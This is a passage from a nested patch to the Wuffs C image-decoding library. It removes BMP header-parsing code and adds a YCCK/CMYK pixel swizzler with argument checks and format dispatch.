&self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_11 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_11; +- if (num_bits_11 == 24) { +- t_11 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_11 += 8u; +- *scratch |= ((uint64_t)(num_bits_11)) << 56; +- } +- } +- v_width = t_11; +- } +- if (v_width > 2147483647u) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); +- goto exit; +- } else if (v_width > 16777215u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); +- goto exit; +- } +- self->private_impl.f_width = v_width; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(26); +- uint32_t t_12; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_12 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(27); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_12 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_12; +- if (num_bits_12 == 24) { +- t_12 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_12 += 8u; +- *scratch |= ((uint64_t)(num_bits_12)) << 56; +- } +- } +- v_height = t_12; +- } +- if (v_height == 2147483648u) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); +- goto exit; +- } else if (v_height > 2147483648u) { +- v_height = ((uint32_t)(0u - v_height)); +- if (v_height > 16777215u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); +- goto exit; +- } +- self->private_impl.f_height = v_height; +- self->private_impl.f_top_down = true; +- } else if (v_height > 16777215u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); +- goto exit; +- } else { +- self->private_impl.f_height = v_height; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(28); +- uint32_t t_13; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_13 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(29); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_13 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_13; +- if (num_bits_13 == 8) { +- t_13 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_13 += 8u; +- *scratch |= ((uint64_t)(num_bits_13)) << 56; +- } ++ ++ uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; ++ uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; ++ uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; ++ uint32_t src_len3 = ((end - x) + inv_h3 - 1u) / inv_h3; ++ ++ const uint8_t* up0 = (*upfunc0)( // ++ scratch_buffer_2k_ptr + (0u * 480u), // ++ src0_major + ((x - x_min_incl) / inv_h0), // ++ src0_major + ((x - x_min_incl) / inv_h0), // ++ src_len0, // ++ 0u, false, false); ++ ++ const uint8_t* up1 = (*upfunc1)( // ++ scratch_buffer_2k_ptr + (1u * 480u), // ++ src1_major + ((x - x_min_incl) / inv_h1), // ++ src1_major + ((x - x_min_incl) / inv_h1), // ++ src_len1, // ++ 0u, false, false); ++ ++ const uint8_t* up2 = (*upfunc2)( // ++ scratch_buffer_2k_ptr + (2u * 480u), // ++ src2_major + ((x - x_min_incl) / inv_h2), // ++ src2_major + ((x - x_min_incl) / inv_h2), // ++ src_len2, // ++ 0u, false, false); ++ ++ const uint8_t* up3 = (*upfunc3)( // ++ scratch_buffer_2k_ptr + (3u * 480u), // ++ src3_major + ((x - x_min_incl) / inv_h3), // ++ src3_major + ((x - x_min_incl) / inv_h3), // ++ src_len3, // ++ 0u, false, false); ++ ++ (*conv4func)(dst, x, end, y, up0, up1, up2, up3); ++ x = end; ++ } ++ } ++} ++ ++// -------- ++ ++// wuffs_private_impl__swizzle_flattened_length is like ++// wuffs_base__table__flattened_length but returns uint64_t (not size_t) and ++// also accounts for subsampling. ++static uint64_t // ++wuffs_private_impl__swizzle_flattened_length(uint32_t width, ++ uint32_t height, ++ uint32_t stride, ++ uint32_t inv_h, ++ uint32_t inv_v) { ++ uint64_t scaled_width = (((uint64_t)width) + (inv_h - 1u)) / inv_h; ++ uint64_t scaled_height = (((uint64_t)height) + (inv_v - 1u)) / inv_v; ++ if (scaled_height <= 0u) { ++ return 0u; ++ } ++ return ((scaled_height - 1u) * stride) + scaled_width; ++} ++ ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status // ++wuffs_base__pixel_swizzler__swizzle_ycck( ++ const wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_buffer* dst, ++ wuffs_base__slice_u8 dst_palette, ++ uint32_t x_min_incl, ++ uint32_t x_max_excl, ++ uint32_t y_min_incl, ++ uint32_t y_max_excl, ++ wuffs_base__slice_u8 src0, ++ wuffs_base__slice_u8 src1, ++ wuffs_base__slice_u8 src2, ++ wuffs_base__slice_u8 src3, ++ uint32_t width0, ++ uint32_t width1, ++ uint32_t width2, ++ uint32_t width3, ++ uint32_t height0, ++ uint32_t height1, ++ uint32_t height2, ++ uint32_t height3, ++ uint32_t stride0, ++ uint32_t stride1, ++ uint32_t stride2, ++ uint32_t stride3, ++ uint8_t h0, ++ uint8_t h1, ++ uint8_t h2, ++ uint8_t h3, ++ uint8_t v0, ++ uint8_t v1, ++ uint8_t v2, ++ uint8_t v3, ++ bool is_rgb_or_cmyk, ++ bool triangle_filter_for_2to1, ++ wuffs_base__slice_u8 scratch_buffer_2k) { ++ if (!p) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } else if (!dst || // ++ (x_min_incl > x_max_excl) || // ++ (x_max_excl > 0xFFFFu) || // ++ (y_min_incl > y_max_excl) || // ++ (y_max_excl > 0xFFFFu) || // ++ (4u <= ((unsigned int)h0 - 1u)) || // ++ (4u <= ((unsigned int)h1 - 1u)) || // ++ (4u <= ((unsigned int)h2 - 1u)) || // ++ (4u <= ((unsigned int)v0 - 1u)) || // ++ (4u <= ((unsigned int)v1 - 1u)) || // ++ (4u <= ((unsigned int)v2 - 1u)) || // ++ (triangle_filter_for_2to1 && ((x_min_incl | y_min_incl) > 0u)) || ++ (scratch_buffer_2k.len < 2048u)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((h3 != 0u) || (v3 != 0u)) { ++ if ((4u <= ((unsigned int)h3 - 1u)) || // ++ (4u <= ((unsigned int)v3 - 1u))) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ } ++ ++ uint32_t max_incl_h = wuffs_private_impl__u32__max_of_4(h0, h1, h2, h3); ++ uint32_t max_incl_v = wuffs_private_impl__u32__max_of_4(v0, v1, v2, v3); ++ ++ // Calculate the inverse h and v ratios. ++ // ++ // It also canonicalizes (h=2 and max_incl_h=4) as equivalent to (h=1 and ++ // max_incl_h=2). In both cases, the inv_h value is 2. ++ uint32_t inv_h0 = max_incl_h / h0; ++ uint32_t inv_h1 = max_incl_h / h1; ++ uint32_t inv_h2 = max_incl_h / h2; ++ uint32_t inv_h3 = h3 ? (max_incl_h / h3) : 0u; ++ uint32_t inv_v0 = max_incl_v / v0; ++ uint32_t inv_v1 = max_incl_v / v1; ++ uint32_t inv_v2 = max_incl_v / v2; ++ uint32_t inv_v3 = v3 ? (max_incl_v / v3) : 0u; ++ ++ if (x_min_incl != 0) { ++ if ((x_min_incl % inv_h0) || (x_min_incl % inv_h1) || ++ (x_min_incl % inv_h2) || (inv_h3 && (x_min_incl % inv_h3))) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ } ++ if (y_min_incl != 0) { ++ if ((y_min_incl % inv_v0) || (y_min_incl % inv_v1) || ++ (y_min_incl % inv_v2) || (inv_v3 && (y_min_incl % inv_v3))) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ } ++ ++ uint32_t half_width_for_2to1 = ((x_max_excl - x_min_incl) + 1u) / 2u; ++ if (inv_h0 == 2) { ++ half_width_for_2to1 = wuffs_base__u32__min(half_width_for_2to1, width0); ++ } ++ if (inv_h1 == 2) { ++ half_width_for_2to1 = wuffs_base__u32__min(half_width_for_2to1, width1); ++ } ++ if (inv_h2 == 2) { ++ half_width_for_2to1 = wuffs_base__u32__min(half_width_for_2to1, width2); ++ } ++ if (inv_h3 == 2) { ++ half_width_for_2to1 = wuffs_base__u32__min(half_width_for_2to1, width3); ++ } ++ ++ uint32_t half_height_for_2to1 = ((y_max_excl - y_min_incl) + 1u) / 2u; ++ if (inv_v0 == 2) { ++ half_height_for_2to1 = wuffs_base__u32__min(half_height_for_2to1, height0); ++ } ++ if (inv_v1 == 2) { ++ half_height_for_2to1 = wuffs_base__u32__min(half_height_for_2to1, height1); ++ } ++ if (inv_v2 == 2) { ++ half_height_for_2to1 = wuffs_base__u32__min(half_height_for_2to1, height2); ++ } ++ if (inv_v3 == 2) { ++ half_height_for_2to1 = wuffs_base__u32__min(half_height_for_2to1, height3); ++ } ++ ++ x_max_excl = wuffs_base__u32__min( // ++ wuffs_base__pixel_config__width(&dst->pixcfg), // ++ x_min_incl + wuffs_private_impl__u32__min_of_5( // ++ x_max_excl - x_min_incl, // ++ width0 * inv_h0, // ++ width1 * inv_h1, // ++ width2 * inv_h2, // ++ inv_h3 ? (width3 * inv_h3) : 0xFFFFFFFF)); ++ y_max_excl = wuffs_base__u32__min( // ++ wuffs_base__pixel_config__height(&dst->pixcfg), // ++ y_min_incl + wuffs_private_impl__u32__min_of_5( // ++ y_max_excl - y_min_incl, // ++ height0 * inv_v0, // ++ height1 * inv_v1, // ++ height2 * inv_v2, // ++ inv_v3 ? (height3 * inv_v3) : 0xFFFFFFFF)); ++ ++ if ((x_min_incl >= x_max_excl) || (y_min_incl >= y_max_excl)) { ++ return wuffs_base__make_status(NULL); ++ } ++ uint32_t width = x_max_excl - x_min_incl; ++ uint32_t height = y_max_excl - y_min_incl; ++ ++ if (((h0 * inv_h0) != max_incl_h) || // ++ ((h1 * inv_h1) != max_incl_h) || // ++ ((h2 * inv_h2) != max_incl_h) || // ++ ((v0 * inv_v0) != max_incl_v) || // ++ ((v1 * inv_v1) != max_incl_v) || // ++ ((v2 * inv_v2) != max_incl_v) || // ++ (src0.len < wuffs_private_impl__swizzle_flattened_length( ++ width, height, stride0, inv_h0, inv_v0)) || ++ (src1.len < wuffs_private_impl__swizzle_flattened_length( ++ width, height, stride1, inv_h1, inv_v1)) || ++ (src2.len < wuffs_private_impl__swizzle_flattened_length( ++ width, height, stride2, inv_h2, inv_v2))) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((h3 != 0u) || (v3 != 0u)) { ++ if (((h3 * inv_h3) != max_incl_h) || // ++ ((v3 * inv_v3) != max_incl_v) || // ++ (src3.len < wuffs_private_impl__swizzle_flattened_length( ++ width, height, stride3, inv_h3, inv_v3))) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ } ++ ++ if (wuffs_base__pixel_format__is_planar(&dst->pixcfg.private_impl.pixfmt)) { ++ // TODO: see wuffs_base__pixel_buffer__set_color_u32_at's TODO. ++ return wuffs_base__make_status( ++ wuffs_base__error__unsupported_pixel_swizzler_option); ++ } ++ ++ // ---- ++ ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ENABLE_ALLOWLIST) ++ switch (dst->pixcfg.private_impl.pixfmt.repr) { ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGR_565) ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGR) ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGRA_NONPREMUL) ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGRA_NONPREMUL_4X16LE) ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGRA_PREMUL) ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_RGB) ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_RGBA_NONPREMUL) ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ break; ++#endif ++#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_RGBA_PREMUL) ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ break; ++#endif ++ default: ++ return wuffs_base__make_status( ++ wuffs_base__error__disabled_by_wuffs_config_dst_pixel_format_enable_allowlist); ++ } ++#else // defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ENABLE_ALLOWLIST) ++ switch (dst->pixcfg.private_impl.pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__Y: ++ case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: ++ case WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ break; ++ ++ default: ++ // TODO: see wuffs_base__pixel_buffer__set_color_u32_at's TODO. ++ return wuffs_base__make_status( ++ wuffs_base__error__unsupported_pixel_swizzler_option); ++ } ++#endif // defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ENABLE_ALLOWLIST) ++ ++ // ---- ++ ++ wuffs_private_impl__swizzle_ycc__convert_3_func conv3func = NULL; ++ ++ if (is_rgb_or_cmyk) { ++ conv3func = &wuffs_private_impl__swizzle_rgb__convert_3_general; ++ } else { ++ switch (dst->pixcfg.private_impl.pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++ if (wuffs_base__cpu_arch__have_x86_avx2()) { ++ conv3func = &wuffs_private_impl__swizzle_ycc__convert_3_bgrx_x86_avx2; ++ break; + } +- v_planes = t_13; +- } +- if (v_planes != 1u) { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(30); +- uint32_t t_14; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_14 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(31); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_14 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_14; +- if (num_bits_14 == 8) { +- t_14 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_14 += 8u; +- *scratch |= ((uint64_t)(num_bits_14)) << 56; +- } ++#endif ++ conv3func = &wuffs_private_impl__swizzle_ycc__convert_3_bgrx; ++ break; ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++ if (wuffs_base__cpu_arch__have_x86_avx2()) { ++ conv3func = &wuffs_private_impl__swizzle_ycc__convert_3_rgbx_x86_avx2; ++ break; + } +- self->private_impl.f_bits_per_pixel = t_14; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(32); +- uint32_t t_15; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_15 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(33); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_15 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_15; +- if (num_bits_15 == 24) { +- t_15 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_15 += 8u; +- *scratch |= ((uint64_t)(num_bits_15)) << 56; +- } +- } +- self->private_impl.f_compression = t_15; +- } +- if (self->private_impl.f_bits_per_pixel == 0u) { +- if (self->private_impl.f_compression == 4u) { +- self->private_impl.f_io_redirect_fourcc = 1246774599u; +- status = wuffs_base__make_status(wuffs_base__note__i_o_redirect); +- goto ok; +- } else if (self->private_impl.f_compression == 5u) { +- self->private_impl.f_io_redirect_fourcc = 1347307296u; +- status = wuffs_base__make_status(wuffs_base__note__i_o_redirect); +- goto ok; +- } +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- self->private_data.s_do_decode_image_config[0].scratch = 20u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(34); +- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; +- if (self->private_impl.f_bitmap_info_len == 40u) { +- if (self->private_impl.f_bits_per_pixel >= 16u) { +- if (self->private_impl.f_padding >= 16u) { +- self->private_impl.f_bitmap_info_len = 56u; +- self->private_impl.f_padding -= 16u; +- } else if (self->private_impl.f_padding >= 12u) { +- self->private_impl.f_bitmap_info_len = 52u; +- self->private_impl.f_padding -= 12u; +- } +- } +- } else if ((self->private_impl.f_bitmap_info_len != 52u) && +- (self->private_impl.f_bitmap_info_len != 56u) && +- (self->private_impl.f_bitmap_info_len != 64u) && +- (self->private_impl.f_bitmap_info_len != 108u) && +- (self->private_impl.f_bitmap_info_len != 124u)) { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- if (self->private_impl.f_compression == 6u) { +- self->private_impl.f_compression = 3u; +- } +- if (self->private_impl.f_compression == 3u) { +- if (self->private_impl.f_bitmap_info_len >= 52u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(35); +- uint32_t t_16; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_16 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(36); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_16 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_16; +- if (num_bits_16 == 24) { +- t_16 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_16 += 8u; +- *scratch |= ((uint64_t)(num_bits_16)) << 56; +- } +- } +- self->private_impl.f_channel_masks[2u] = t_16; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(37); +- uint32_t t_17; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_17 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(38); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_17 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_17; +- if (num_bits_17 == 24) { +- t_17 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_17 += 8u; +- *scratch |= ((uint64_t)(num_bits_17)) << 56; +- } +- } +- self->private_impl.f_channel_masks[1u] = t_17; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(39); +- uint32_t t_18; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_18 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(40); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_18 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_18; +- if (num_bits_18 == 24) { +- t_18 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_18 += 8u; +- *scratch |= ((uint64_t)(num_bits_18)) << 56; +- } +- } +- self->private_impl.f_channel_masks[0u] = t_18; +- } +- if (self->private_impl.f_bitmap_info_len >= 56u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(41); +- uint32_t t_19; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_19 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(42); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_19 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_19; +- if (num_bits_19 == 24) { +- t_19 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_19 += 8u; +- *scratch |= ((uint64_t)(num_bits_19)) << 56; +- } +- } +- self->private_impl.f_channel_masks[3u] = t_19; +- } +- self->private_data.s_do_decode_image_config[0].scratch = ((uint32_t)(self->private_impl.f_bitmap_info_len - 56u)); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(43); +- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; +- } +- if ((self->private_impl.f_channel_masks[0u] == 255u) && (self->private_impl.f_channel_masks[1u] == 65280u) && (self->private_impl.f_channel_masks[2u] == 16711680u)) { +- if (self->private_impl.f_bits_per_pixel == 24u) { +- self->private_impl.f_compression = 0u; +- } else if (self->private_impl.f_bits_per_pixel == 32u) { +- if ((self->private_impl.f_channel_masks[3u] == 0u) || (self->private_impl.f_channel_masks[3u] == 4278190080u)) { +- self->private_impl.f_compression = 0u; +- } +- } +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(44); +- status = wuffs_bmp__decoder__process_masks(self); +- if (status.repr) { +- goto suspend; +- } +- } +- } else if (self->private_impl.f_bitmap_info_len >= 40u) { +- self->private_data.s_do_decode_image_config[0].scratch = (self->private_impl.f_bitmap_info_len - 40u); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(45); +- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; +- } else { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- } +- if (self->private_impl.f_compression != 3u) { +- if (self->private_impl.f_bits_per_pixel < 16u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(46); +- status = wuffs_bmp__decoder__read_palette(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } +- } +- if (self->private_impl.f_compression == 0u) { +- if ((self->private_impl.f_bits_per_pixel == 1u) || (self->private_impl.f_bits_per_pixel == 2u) || (self->private_impl.f_bits_per_pixel == 4u)) { +- self->private_impl.f_src_pixfmt = 2198077448u; +- self->private_impl.f_compression = 256u; +- } else if (self->private_impl.f_bits_per_pixel == 8u) { +- self->private_impl.f_src_pixfmt = 2198077448u; +- } else if (self->private_impl.f_bits_per_pixel == 16u) { +- self->private_impl.f_compression = 3u; +- self->private_impl.f_channel_masks[0u] = 31u; +- self->private_impl.f_channel_masks[1u] = 992u; +- self->private_impl.f_channel_masks[2u] = 31744u; +- self->private_impl.f_channel_masks[3u] = 0u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(47); +- status = wuffs_bmp__decoder__process_masks(self); +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_src_pixfmt = 2164308923u; +- } else if (self->private_impl.f_bits_per_pixel == 24u) { +- self->private_impl.f_src_pixfmt = 2147485832u; +- } else if (self->private_impl.f_bits_per_pixel == 32u) { +- if (self->private_impl.f_channel_masks[3u] == 0u) { +- self->private_impl.f_src_pixfmt = 2415954056u; +- } else { +- self->private_impl.f_src_pixfmt = 2164295816u; +- } +- } else { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- } else if (self->private_impl.f_compression == 1u) { +- if (self->private_impl.f_bits_per_pixel == 8u) { +- self->private_impl.f_src_pixfmt = 2198077448u; +- } else { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- } else if (self->private_impl.f_compression == 2u) { +- if (self->private_impl.f_bits_per_pixel == 4u) { +- self->private_impl.f_src_pixfmt = 2198077448u; +- } else { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- } else if 